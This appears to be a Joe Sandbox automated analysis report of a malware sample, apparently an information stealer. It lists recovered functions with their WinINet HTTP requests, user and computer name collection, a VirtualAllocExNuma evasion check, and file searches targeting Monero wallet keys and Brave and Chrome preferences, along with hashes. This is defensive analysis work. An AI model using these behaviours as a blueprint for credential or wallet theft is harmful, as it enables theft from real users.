OpenEventA.KERNEL32(001F0003,00000000,00000000,00000000,?,00C89008,?,00FD110C,?,00000000,?,00FD1110,?,00000000,00FD0AEF), ref: 00FC6ACA
CreateEventA.KERNEL32(00000000,00000000,00000000,00000000), ref: 00FC6AE8
CloseHandle.KERNEL32(00000000), ref: 00FC6AF9
Sleep.KERNEL32(00001770), ref: 00FC6B04
CloseHandle.KERNEL32(?,00000000,?,00C89008,?,00FD110C,?,00000000,?,00FD1110,?,00000000,00FD0AEF), ref: 00FC6B1A
ExitProcess.KERNEL32 ref: 00FC6B22

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: CloseEventHandle$CreateExitOpenProcessSleep
String ID:
API String ID: 941982115-0
Opcode ID: e325c05725a5fd67ae57e791491075f8be4802e217d0ce9ae5e132d42ff001dd
Instruction ID: f2b777320bddb0558cbf8d1f16d76a1efc2a2a4c35397fabce51c643f401d920
Opcode Fuzzy Hash: e325c05725a5fd67ae57e791491075f8be4802e217d0ce9ae5e132d42ff001dd
Instruction Fuzzy Hash: BDF0307094420BAAE714ABA0AE07F7D7B74EF44705F10452CB527E2181DBB86981F755

Function 00FB47B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 63
stringnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00FB4839
InternetCrackUrlA.WININET(00000000,00000000), ref: 00FB4849

Strings

<, xrefs: 00FB47C9

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: CrackInternetlstrlen
String ID: <
API String ID: 1274457161-4251816714
Opcode ID: 9c92bc86a21b628652289439950a84916824ab1f6bdb27ff69d108aba2bcd2ce
Instruction ID: 0a7229e7f6386b438e791c7de1e2d485b3b11a592417431db25c490df44b6d84
Opcode Fuzzy Hash: 9c92bc86a21b628652289439950a84916824ab1f6bdb27ff69d108aba2bcd2ce
Instruction Fuzzy Hash: 70212CB1D00209ABDF14DFA5E945BDD7B74FB44320F108629E929A72C0DB746A05DB91

Function 00FC51F0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00FCA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00FCA7E6

Part of subcall function 00FB6280: InternetOpenA.WININET(00FD0DFE,00000001,00000000,00000000,00000000), ref: 00FB62E1
Part of subcall function 00FB6280: StrCmpCA.SHLWAPI(?,00C8EAA8), ref: 00FB6303
Part of subcall function 00FB6280: InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00FB6335
Part of subcall function 00FB6280: HttpOpenRequestA.WININET(00000000,GET,?,00C8E368,00000000,00000000,00400100,00000000), ref: 00FB6385
Part of subcall function 00FB6280: InternetSetOptionA.WININET(00000000,0000001F,?,00000004), ref: 00FB63BF
Part of subcall function 00FB6280: HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00FB63D1

StrCmpCA.SHLWAPI(00000000,ERROR), ref: 00FC5228

Strings

ERROR, xrefs: 00FC5273
ERROR, xrefs: 00FC521A

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Internet$HttpOpenRequest$ConnectOptionSendlstrcpy
String ID: ERROR$ERROR
API String ID: 3287882509-2579291623
Opcode ID: 125695dd08d501fe21d1d846b4fcc015415a0b6bfe5de77bae986e875a908152
Instruction ID: 5ca118c45b310877e2c0459afa5c05bb17a3a3ae7f73012344c495b8d407527b
Opcode Fuzzy Hash: 125695dd08d501fe21d1d846b4fcc015415a0b6bfe5de77bae986e875a908152
Instruction Fuzzy Hash: B711F830900009ABCB18FB61DE57FED7378AF50304F80415CA81A4A192EF38BB15EA92

Function 00FB1110 Relevance: 4.5, APIs: 3, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,000007D0,00003000,00000040,00000000), ref: 00FB112B
VirtualAllocExNuma.KERNEL32(00000000), ref: 00FB1132
ExitProcess.KERNEL32 ref: 00FB1143

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Process$AllocCurrentExitNumaVirtual
String ID:
API String ID: 1103761159-0
Opcode ID: d435aa593cec33fc1fd0b6295fb9b58112fa3b547148d7639fa6e33461f4167c
Instruction ID: 75fcfaf015bf4fbe6b0a833dae08aef115dd6222ef7aaf758c1723f241da6c4d
Opcode Fuzzy Hash: d435aa593cec33fc1fd0b6295fb9b58112fa3b547148d7639fa6e33461f4167c
Instruction Fuzzy Hash: 16E08670945308FBE7246BA1EC1AB48767CAF04B02F500158F70D771C4C6F926419B98

Function 00FB10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 00FB10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 00FB10F7

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 71573933745f1eb47203e8541e2dc4b82e19289bd1f56df2ed43b17e965b6a6b
Instruction ID: 29e7c0a3c31356872067b4a712dc2bd80a180e28e6d9c327df7fc4f59da43341
Opcode Fuzzy Hash: 71573933745f1eb47203e8541e2dc4b82e19289bd1f56df2ed43b17e965b6a6b
Instruction Fuzzy Hash: C5F0E971641204BBE71496A4AC59FAAB7D8E705B55F300458F504E3280D5726E40DB50

Function 00FB1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00FC78E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00FC7910
Part of subcall function 00FC78E0: RtlAllocateHeap.NTDLL(00000000), ref: 00FC7917
Part of subcall function 00FC78E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00FC792F

Part of subcall function 00FC7850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00FB11B7), ref: 00FC7880
Part of subcall function 00FC7850: RtlAllocateHeap.NTDLL(00000000), ref: 00FC7887
Part of subcall function 00FC7850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00FC789F

ExitProcess.KERNEL32 ref: 00FB11C6

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: aa463097211b01f82bfbf8afeb958f92abd3c5947cd00f96500ef05ef328490a
Instruction ID: fef84329eaefb41e387e83d8ea625990b8a309eb7f32de4e446d5221c0077e09
Opcode Fuzzy Hash: aa463097211b01f82bfbf8afeb958f92abd3c5947cd00f96500ef05ef328490a
Instruction Fuzzy Hash: 1AE0C2B5D0030223CA1433B6BD0BF2A328C6F40385F20043CFA09C3142FA2DF801AA64

Non-executed Functions

Function 00FC38B0 Relevance: 45.8, APIs: 21, Strings: 5, Instructions: 250filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00FC38CC
FindFirstFileA.KERNEL32(?,?), ref: 00FC38E3
lstrcat.KERNEL32(?,?), ref: 00FC3935
StrCmpCA.SHLWAPI(?,00FD0F70), ref: 00FC3947
StrCmpCA.SHLWAPI(?,00FD0F74), ref: 00FC395D
FindNextFileA.KERNEL32(000000FF,?), ref: 00FC3C67
FindClose.KERNEL32(000000FF), ref: 00FC3C7C

Strings

%s\%s, xrefs: 00FC397A
%s%s, xrefs: 00FC3AAD
%s\*, xrefs: 00FC38C0
%s\%s\%s, xrefs: 00FC3A4A
%s\%s, xrefs: 00FC3A6F

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextlstrcatwsprintf
String ID: %s%s$%s\%s$%s\%s$%s\%s\%s$%s\*
API String ID: 1125553467-2524465048
Opcode ID: ba182901db47596e9b79da6e8ded2ee83e8ea1025b9762fcb7fbf4ceaf1666a8
Instruction ID: c62026397b93f8216f1dd746fd78770f126d087a5ce45314ee59ba41ac5db0c8
Opcode Fuzzy Hash: ba182901db47596e9b79da6e8ded2ee83e8ea1025b9762fcb7fbf4ceaf1666a8
Instruction Fuzzy Hash: 36A17FB29002099BCB34DB64DD85FEE7379BF88300F04859CA51E97145EB79AB84DF62

Function 00FBBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00FCA740: lstrcpy.KERNEL32(00FD0E17,00000000), ref: 00FCA788

Part of subcall function 00FCA920: lstrcpy.KERNEL32(00000000,?), ref: 00FCA972
Part of subcall function 00FCA920: lstrcat.KERNEL32(00000000), ref: 00FCA982

Part of subcall function 00FCA9B0: lstrlen.KERNEL32(?,00C89158,?,\Monero\wallet.keys,00FD0E17), ref: 00FCA9C5
Part of subcall function 00FCA9B0: lstrcpy.KERNEL32(00000000), ref: 00FCAA04
Part of subcall function 00FCA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00FCAA12

Part of subcall function 00FCA8A0: lstrcpy.KERNEL32(?,00FD0E17), ref: 00FCA905

FindFirstFileA.KERNEL32(00000000,?,00FD0B32,00FD0B2B,00000000,?,?,?,00FD13F4,00FD0B2A), ref: 00FBBEF5
StrCmpCA.SHLWAPI(?,00FD13F8), ref: 00FBBF4D
StrCmpCA.SHLWAPI(?,00FD13FC), ref: 00FBBF63
FindNextFileA.KERNEL32(000000FF,?), ref: 00FBC7BF
FindClose.KERNEL32(000000FF), ref: 00FBC7D1

Strings

Google Chrome, xrefs: 00FBC634
Preferences, xrefs: 00FBC11E
\Brave\Preferences, xrefs: 00FBC1DB
Brave, xrefs: 00FBC102

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 7b39ac6b48869e953637f47cdd7562824a5b895ebce1593deb53070dc9e3c705
Instruction ID: 888022208d8e9f505e44632e9c1d8908fba4658c84a20a0da29e4efb9578a1cf
Opcode Fuzzy Hash: 7b39ac6b48869e953637f47cdd7562824a5b895ebce1593deb53070dc9e3c705
Instruction Fuzzy Hash: 97423372910109ABCB14FB60DE57FEE7379AF84304F40456CB50A96181EF38AB49DBA2

Function 00FC4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00FC492C
FindFirstFileA.KERNEL32(?,?), ref: 00FC4943
StrCmpCA.SHLWAPI(?,00FD0FDC), ref: 00FC4971
StrCmpCA.SHLWAPI(?,00FD0FE0), ref: 00FC4987
FindNextFileA.KERNEL32(000000FF,?), ref: 00FC4B7D
FindClose.KERNEL32(000000FF), ref: 00FC4B92

Strings

%s\*, xrefs: 00FC4920
%s\%s, xrefs: 00FC49FB
%s\%s, xrefs: 00FC49A4

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: f30308f027a39617137692dff5ee270b890f600c17fcf94aa4306e2f7e3e8cfd
Instruction ID: b256ce09fea5d03e95b49bf998b88d215fea6dcdc373a78405179b4abdd88d4c
Opcode Fuzzy Hash: f30308f027a39617137692dff5ee270b890f600c17fcf94aa4306e2f7e3e8cfd
Instruction Fuzzy Hash: EB6162B2900219ABCB34EBA0EC45FEA737CBF48701F04459CA51E92144EB75EB859FA1

Function 00FC4570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00FC4580
RtlAllocateHeap.NTDLL(00000000), ref: 00FC4587
wsprintfA.USER32 ref: 00FC45A6
FindFirstFileA.KERNEL32(?,?), ref: 00FC45BD
StrCmpCA.SHLWAPI(?,00FD0FC4), ref: 00FC45EB
StrCmpCA.SHLWAPI(?,00FD0FC8), ref: 00FC4601
FindNextFileA.KERNEL32(000000FF,?), ref: 00FC468B
FindClose.KERNEL32(000000FF), ref: 00FC46A0
lstrcat.KERNEL32(?,00C8EA18), ref: 00FC46C5
lstrcat.KERNEL32(?,00C8DBA0), ref: 00FC46D8
lstrlen.KERNEL32(?), ref: 00FC46E5
lstrlen.KERNEL32(?), ref: 00FC46F6

Strings

%s\*, xrefs: 00FC459A
%s\%s, xrefs: 00FC461B

Memory Dump Source

Source File: 00000000.00000002.1714191818.0000000000FB1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00FB0000, based on PE: true

Associated: 00000000.00000002.1714174137.0000000000FB0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001061000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.000000000106D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714191818.00000000011FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000120E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001398000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.000000000146E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001492000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.0000000001499000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714337528.00000000014A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714621077.00000000014A9000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714730643.0000000001643000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714747116.0000000001644000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_fb0000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 636eb5ecac864942893d45a8e4d246a0fba78e61008c2c3202153b78795fb265
Instruction ID: 4ec28969c1416ef91c83388230d4b44ef6f5b1d6dd14ae7b5fb5e35340e45804
Opcode Fuzzy Hash: 636eb5ecac864942893d45a8e4d246a0fba78e61008c2c3202153b78795fb265
Instruction Fuzzy Hash: 675155719002189BC724EB70DD9AFE9737CAF58700F40459CB51E92144EB79AA859F91

Function 00FC3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 00FC3EC3
FindFirstFileA.KERNEL32(?,?), ref: 00FC3EDA
StrCmpCA.SHLWAPI(?,00FD0FAC), ref: 00FC3F08
StrCmpCA.SHLWAPI(?,00FD0FB0), ref: 00FC3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 00FC406C
FindClose.KERNEL32(000000FF), ref: 00FC4081

Strings

%s\%s, xrefs: 00FC3EB7

Memory Dump Source

